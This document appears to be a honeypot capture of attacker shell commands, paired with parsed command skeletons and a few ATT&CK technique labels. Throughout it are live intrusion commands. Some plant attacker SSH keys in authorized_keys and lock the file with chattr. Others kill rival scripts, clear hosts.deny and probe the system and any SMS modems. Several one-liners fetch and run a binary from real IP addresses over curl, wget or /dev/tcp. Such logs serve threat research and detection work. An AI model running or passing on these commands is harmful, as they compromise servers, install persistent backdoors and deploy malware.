chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A";

('chmod +x ; sh ; rm -rf ; mkdir -p ; chattr -ia ; echo > ; chattr +ai ; uname -a', 'chmod +x ; sh ; rm -rf ; mkdir -p ; chattr -ia ; echo > ; chattr +ai ; uname -a ; echo -e ;')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MASLW

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OWTRU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BTSRZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KPAZS


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;

('./ ; dd if || while ; do echo ; done || cat ;',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YIDNW


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'


nohup $SHELL -c "curl http://154.0.31.161:60106/linux -o /tmp/1VdtaRMbmf; if [ ! -f /tmp/1VdtaRMbmf ]; then wget http://154.0.31.161:60106/linux -O /tmp/1VdtaRMbmf; fi; if [ ! -f /tmp/1VdtaRMbmf ]; then exec 6<>/dev/tcp/154.0.31.161/60106 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/1VdtaRMbmf && chmod +x /tmp/1VdtaRMbmf && /tmp/1VdtaRMbmf FLLzbFPhN/5MafS8Z2al/GpN4TLpXWTooGRtvPdoS/4x6kts96Ngdab1ckzjMv5Mafa8ZG2m/GpN4TPkXW3yvGdhoOhpTP4x6EVm8KJkZ6HmZFPiMehTbfKke2So8GxM4TXwS2voo2JhvP5sU+Iz4Edq9qNkbbL3a0r+M+hTbf6le2Sk/GpN4TDhXWTooGRlvPdvSP4x6Ehm8KJkZabmaEr+N+ZTaPe8ZGSn/GpN4TPpXWj1vGRmo+huT+Uu4U1t/KRlZKD2fEzlNP5NcvWje2Sk92ZL4DHgS3zwontkq/dyROUu5E9m8KJkYabmbUrlLuFIaeihYHuk8WZL4DHkSHz3oGB7o/VuU+E44FNu9KJvY6L3aE7wNONTbfWge2Sn9nJM6DTqS2z3oWF1o/ZtU+Mz/kpv6KNhYqjwbEzgMfBMbfG8Z2a882tT4zLqS2z3oWR1pvVyTOU1/kxr/rxmbajwbEzhM/BFcvSjbHuq9HJE6TrmTW3yonVhoehtSOUu4UVv6KBkZajwbEzjOfBFcvSjbXuj8mpT4TrmTW33p3VkpvRyTOcx/klv6KVjb6T2bUzmIOFMbuike2Gh6GpH5jDhTW3mpmZ7o/NpU+Ez51Nu9qZvY6L3bU3wNONTbfOke2a8925O6jbgTGjwsmFsvPRvSf4551Nu96ZvY6L3bEvwMeNOcvSmZ3uk/nJM5jXqS2z3pmF1pvVyTOM1/kxr9bxtbajwbEzkNPBMbfe8YWG892pP/jHjSWbwomRno+ZoSv4y40ty87xkZav8ak3hM+Cp45xvth+Az8szWnH8kZw=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/1VdtaRMbmf && /tmp/1VdtaRMbmf FLLzbFPhN/5MafS8Z2al/GpN4TLpXWTooGRtvPdoS/4x6kts96Ngdab1ckzjMv5Mafa8ZG2m/GpN4TPkXW3yvGdhoOhpTP4x6EVm8KJkZ6HmZFPiMehTbfKke2So8GxM4TXwS2voo2JhvP5sU+Iz4Edq9qNkbbL3a0r+M+hTbf6le2Sk/GpN4TDhXWTooGRlvPdvSP4x6Ehm8KJkZabmaEr+N+ZTaPe8ZGSn/GpN4TPpXWj1vGRmo+huT+Uu4U1t/KRlZKD2fEzlNP5NcvWje2Sk92ZL4DHgS3zwontkq/dyROUu5E9m8KJkYabmbUrlLuFIaeihYHuk8WZL4DHkSHz3oGB7o/VuU+E44FNu9KJvY6L3aE7wNONTbfWge2Sn9nJM6DTqS2z3oWF1o/ZtU+Mz/kpv6KNhYqjwbEzgMfBMbfG8Z2a882tT4zLqS2z3oWR1pvVyTOU1/kxr/rxmbajwbEzhM/BFcvSjbHuq9HJE6TrmTW3yonVhoehtSOUu4UVv6KBkZajwbEzjOfBFcvSjbXuj8mpT4TrmTW33p3VkpvRyTOcx/klv6KVjb6T2bUzmIOFMbuike2Gh6GpH5jDhTW3mpmZ7o/NpU+Ez51Nu9qZvY6L3bU3wNONTbfOke2a8925O6jbgTGjwsmFsvPRvSf4551Nu96ZvY6L3bEvwMeNOcvSmZ3uk/nJM5jXqS2z3pmF1pvVyTOM1/kxr9bxtbajwbEzkNPBMbfe8YWG892pP/jHjSWbwomRno+ZoSv4y40ty87xkZav8ak3hM+Cp45xvth+Az8szWnH8kZw=" &

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'echo && cat', '>')

T1005 Data from Local System
T1070 Indicator Removal
T1005 Data from Local System


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XYUMQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HJAKF


nohup $SHELL -c "curl http://47.238.166.49:60137/linux -o /tmp/zICxLtpK1b; if [ ! -f /tmp/zICxLtpK1b ]; then wget http://47.238.166.49:60137/linux -O /tmp/zICxLtpK1b; fi; if [ ! -f /tmp/zICxLtpK1b ]; then exec 6<>/dev/tcp/47.238.166.49/60137 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/zICxLtpK1b && chmod +x /tmp/zICxLtpK1b && /tmp/zICxLtpK1b czEBRNQH2k8MFkrTGcNEBisIDiAAQc0d3FUKC0PFGNtAHiUHBCcAR94ey0oAClXaHNxYBCUQDCQFTNsZ2k8IGE/YB9xFBj8PCSMeRN8e0U0ICU/fCd9GAz8MCz8CR90H2kwIAk3bGN5BECIIECUBWNwR01UJDUjRH91HAiEeBj8CR9QH000WAE7RH91HACIeDyMFWNodxUILFknZHNdAACAKBjEIWN8b2VUJAU/FEdpMBiEPDiMQR9UbxUoNCVXeHsNHCCkECCEBQtwJ304WCk/TB9xGHiMMDysGRtwY2VsAFknaEMNABT8MDyYKQN0Y2kwYAFXZGNpYAiMOECAJQdcf20oMDFvaGd5YAiUMECIeR9kY0U0ICUrYCd9BHiAMBj8CRdUH3k4CDkvaGdVWASAMECgBWNwY2lUJAELRH91HBCQeDSceRNsH0ksWCU/fE9tGASMKHiUHWNofxUkPFknZE9tGASEKHiABRsMY004WCUvZB9xBBysIDiADR80Y20gWCk/ZB95YASUPBCcAR9way08PFknYEcNFCT8MCicKQN0Y30oYAFXZGNpYAiMOECAJQdcf20oMDFvfEMNEAyQQDyYBWN8Z3UEOCErfGc1HCCMQDyQBWNkdxUkNDUHdGdxCADEPDiceQ9kH2EIWCkrdE9tGASIMHiABRsMY00MWCkrFG95CCicODyMIVtwZ2lUBCVXaGdpYASMJBCcAR94ay0oIDlXaG9lYASILECgBTNsZ2ksAGE7SB95AHiAKBz8BQt8T3UsJDEPLGN1AHiQNECMAQcMe0U0ICUnb1wECeLMl1NwIMKc/DF4OMhDpWkg=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/zICxLtpK1b && /tmp/zICxLtpK1b czEBRNQH2k8MFkrTGcNEBisIDiAAQc0d3FUKC0PFGNtAHiUHBCcAR94ey0oAClXaHNxYBCUQDCQFTNsZ2k8IGE/YB9xFBj8PCSMeRN8e0U0ICU/fCd9GAz8MCz8CR90H2kwIAk3bGN5BECIIECUBWNwR01UJDUjRH91HAiEeBj8CR9QH000WAE7RH91HACIeDyMFWNodxUILFknZHNdAACAKBjEIWN8b2VUJAU/FEdpMBiEPDiMQR9UbxUoNCVXeHsNHCCkECCEBQtwJ304WCk/TB9xGHiMMDysGRtwY2VsAFknaEMNABT8MDyYKQN0Y2kwYAFXZGNpYAiMOECAJQdcf20oMDFvaGd5YAiUMECIeR9kY0U0ICUrYCd9BHiAMBj8CRdUH3k4CDkvaGdVWASAMECgBWNwY2lUJAELRH91HBCQeDSceRNsH0ksWCU/fE9tGASMKHiUHWNofxUkPFknZE9tGASEKHiABRsMY004WCUvZB9xBBysIDiADR80Y20gWCk/ZB95YASUPBCcAR9way08PFknYEcNFCT8MCicKQN0Y30oYAFXZGNpYAiMOECAJQdcf20oMDFvfEMNEAyQQDyYBWN8Z3UEOCErfGc1HCCMQDyQBWNkdxUkNDUHdGdxCADEPDiceQ9kH2EIWCkrdE9tGASIMHiABRsMY00MWCkrFG95CCicODyMIVtwZ2lUBCVXaGdpYASMJBCcAR94ay0oIDlXaG9lYASILECgBTNsZ2ksAGE7SB95AHiAKBz8BQt8T3UsJDEPLGN1AHiQNECMAQcMe0U0ICUnb1wECeLMl1NwIMKc/DF4OMhDpWkg=" &

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'echo && cat', '>', 'o')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FQRYY

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PYXDC


cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

('cat | grep | cut -f2 -d | uniq -c ; uname -a',)

T1082 System Information Discovery
T1087 Account Discovery


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GPWFA


cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TPCRY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UPYWM


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DDIJJ


rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep')


nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/9aXpRJBT0s; if [ ! -f /tmp/9aXpRJBT0s ]; then wget http://129.144.180.26:60107/linux -O /tmp/9aXpRJBT0s; fi; if [ ! -f /tmp/9aXpRJBT0s ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/9aXpRJBT0s && chmod +x /tmp/9aXpRJBT0s && /tmp/9aXpRJBT0s Z3tT4UhH4YNLKS5TleZMXOBXahkde1bkX1vjj1E2KV2L/EdQ7FFrGxpsR+5IR+OMSykoS4LqT1DmVmseCmpW5UhE4I5LKSBcledFXOBXah4fe1buVFvjjlQ2LVSV40xR7FFrGxhsR+JVW+OIXDYpUI78RFPkXW0aG2tX9ldE5ZVWKzZUiOtbV+9TYRwaalflRk38iVQvNlSC4FtU4V1tGhtvVfZeW+CKVTYqV478RFfiXW0aG2le9lJC/IpUITZXg/xHVOBdbRoba1H2XlvgilU2KVSM/EdV511tGhtrX/ZSQvyJUSo2VI3iW1TnX2EcGmpW5EZE6olLKS1UledGSORWYhAca1bmVlXjiVc2KleN/EFf+FVrGBBtV+dWRvKPUjYqUYn8TFP4VWofEG1X51RA8o9SNipRifxEXuJJahwaYVHmV0frm1QqKEuM4ltf4ElqExxhUeZXReKbVCkvS4rnQ0jvU3UeG2FR5ldG4JtRLzZXiORbV+BTdRsZaF3gVkTgiUUpIFeV40BX+FJqBBtiUOxQReOJUjgpV4j8Q0jnV2kEEmtd4FZE5o5FLC9LieFDSOdQdR0eYVHmV0Hlm1QgKkuK50RI41R1GBtiXeBWROKLRSwvS4zkW1fiV3UdGGFR5ldF65tWLjZUiuJbV+VQdRIfYVHmV0Hnm1MpNlSI6ltX7lJ1GBlvXeBWROaDRSkvVpXgRUjnVGIEEmpd4FZE4YhFKShUleNGVPhWax4EalXhXEPiilUuOF2V4ERR+FZiGARpUOxQReOPVzggS4njTEjkUmkEG2tQ7FBF449QugGsFQSgMwcwTlZVvOHVYsPLWpBKXg==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/9aXpRJBT0s && /tmp/9aXpRJBT0s Z3tT4UhH4YNLKS5TleZMXOBXahkde1bkX1vjj1E2KV2L/EdQ7FFrGxpsR+5IR+OMSykoS4LqT1DmVmseCmpW5UhE4I5LKSBcledFXOBXah4fe1buVFvjjlQ2LVSV40xR7FFrGxhsR+JVW+OIXDYpUI78RFPkXW0aG2tX9ldE5ZVWKzZUiOtbV+9TYRwaalflRk38iVQvNlSC4FtU4V1tGhtvVfZeW+CKVTYqV478RFfiXW0aG2le9lJC/IpUITZXg/xHVOBdbRoba1H2XlvgilU2KVSM/EdV511tGhtrX/ZSQvyJUSo2VI3iW1TnX2EcGmpW5EZE6olLKS1UledGSORWYhAca1bmVlXjiVc2KleN/EFf+FVrGBBtV+dWRvKPUjYqUYn8TFP4VWofEG1X51RA8o9SNipRifxEXuJJahwaYVHmV0frm1QqKEuM4ltf4ElqExxhUeZXReKbVCkvS4rnQ0jvU3UeG2FR5ldG4JtRLzZXiORbV+BTdRsZaF3gVkTgiUUpIFeV40BX+FJqBBtiUOxQReOJUjgpV4j8Q0jnV2kEEmtd4FZE5o5FLC9LieFDSOdQdR0eYVHmV0Hlm1QgKkuK50RI41R1GBtiXeBWROKLRSwvS4zkW1fiV3UdGGFR5ldF65tWLjZUiuJbV+VQdRIfYVHmV0Hnm1MpNlSI6ltX7lJ1GBlvXeBWROaDRSkvVpXgRUjnVGIEEmpd4FZE4YhFKShUleNGVPhWax4EalXhXEPiilUuOF2V4ERR+FZiGARpUOxQReOPVzggS4njTEjkUmkEG2tQ7FBF449QugGsFQSgMwcwTlZVvOHVYsPLWpBKXg==" &#UPX!

nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/j7qyOa9X0g; if [ ! -f /tmp/j7qyOa9X0g ]; then wget http://129.144.180.26:60107/linux -O /tmp/j7qyOa9X0g; fi; if [ ! -f /tmp/j7qyOa9X0g ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/j7qyOa9X0g && chmod +x /tmp/j7qyOa9X0g && /tmp/j7qyOa9X0g Z3tT4UhH4YNLKS5TleZMXOBXahkde1bkX1vjj1E2KV2L/EdQ7FFrGxpsR+5IR+OMSykoS4LqT1DmVmseCmpW5UhE4I5LKSBcledFXOBXah4fe1buVFvjjlQ2LVSV40xR7FFrGxhsR+JVW+OIXDYpUI78RFPkXW0aG2tX9ldE5ZVWKzZUiOtbV+9TYRwaalflRk38iVQvNlSC4FtU4V1tGhtvVfZeW+CKVTYqV478RFfiXW0aG2le9lJC/IpUITZXg/xHVOBdbRoba1H2XlvgilU2KVSM/EdV511tGhtrX/ZSQvyJUSo2VI3iW1TnX2EcGmpW5EZE6olLKS1UledGSORWYhAca1bmVlXjiVc2KleN/EFf+FVrGBBtV+dWRvKPUjYqUYn8TFP4VWofEG1X51RA8o9SNipRifxEXuJJahwaYVHmV0frm1QqKEuM4ltf4ElqExxhUeZXReKbVCkvS4rnQ0jvU3UeG2FR5ldG4JtRLzZXiORbV+BTdRsZaF3gVkTgiUUpIFeV40BX+FJqBBtiUOxQReOJUjgpV4j8Q0jnV2kEEmtd4FZE5o5FLC9LieFDSOdQdR0eYVHmV0Hlm1QgKkuK50RI41R1GBtiXeBWROKLRSwvS4zkW1fiV3UdGGFR5ldF65tWLjZUiuJbV+VQdRIfYVHmV0Hnm1MpNlSI6ltX7lJ1GBlvXeBWROaDRSkvVpXgRUjnVGIEEmpd4FZE4YhFKShUleNGVPhWax4EalXhXEPiilUuOF2V4ERR+FZiGARpUOxQReOPVzggS4njTEjkUmkEG2tQ7FBF449QugGsFQSgMwcwTlZVvOHVYsPLWpBKXg==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/j7qyOa9X0g && /tmp/j7qyOa9X0g Z3tT4UhH4YNLKS5TleZMXOBXahkde1bkX1vjj1E2KV2L/EdQ7FFrGxpsR+5IR+OMSykoS4LqT1DmVmseCmpW5UhE4I5LKSBcledFXOBXah4fe1buVFvjjlQ2LVSV40xR7FFrGxhsR+JVW+OIXDYpUI78RFPkXW0aG2tX9ldE5ZVWKzZUiOtbV+9TYRwaalflRk38iVQvNlSC4FtU4V1tGhtvVfZeW+CKVTYqV478RFfiXW0aG2le9lJC/IpUITZXg/xHVOBdbRoba1H2XlvgilU2KVSM/EdV511tGhtrX/ZSQvyJUSo2VI3iW1TnX2EcGmpW5EZE6olLKS1UledGSORWYhAca1bmVlXjiVc2KleN/EFf+FVrGBBtV+dWRvKPUjYqUYn8TFP4VWofEG1X51RA8o9SNipRifxEXuJJahwaYVHmV0frm1QqKEuM4ltf4ElqExxhUeZXReKbVCkvS4rnQ0jvU3UeG2FR5ldG4JtRLzZXiORbV+BTdRsZaF3gVkTgiUUpIFeV40BX+FJqBBtiUOxQReOJUjgpV4j8Q0jnV2kEEmtd4FZE5o5FLC9LieFDSOdQdR0eYVHmV0Hlm1QgKkuK50RI41R1GBtiXeBWROKLRSwvS4zkW1fiV3UdGGFR5ldF65tWLjZUiuJbV+VQdRIfYVHmV0Hnm1MpNlSI6ltX7lJ1GBlvXeBWROaDRSkvVpXgRUjnVGIEEmpd4FZE4YhFKShUleNGVPhWax4EalXhXEPiilUuOF2V4ERR+FZiGARpUOxQReOPVzggS4njTEjkUmkEG2tQ7FBF449QugGsFQSgMwcwTlZVvOHVYsPLWpBKXg==" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'o', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&')


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash')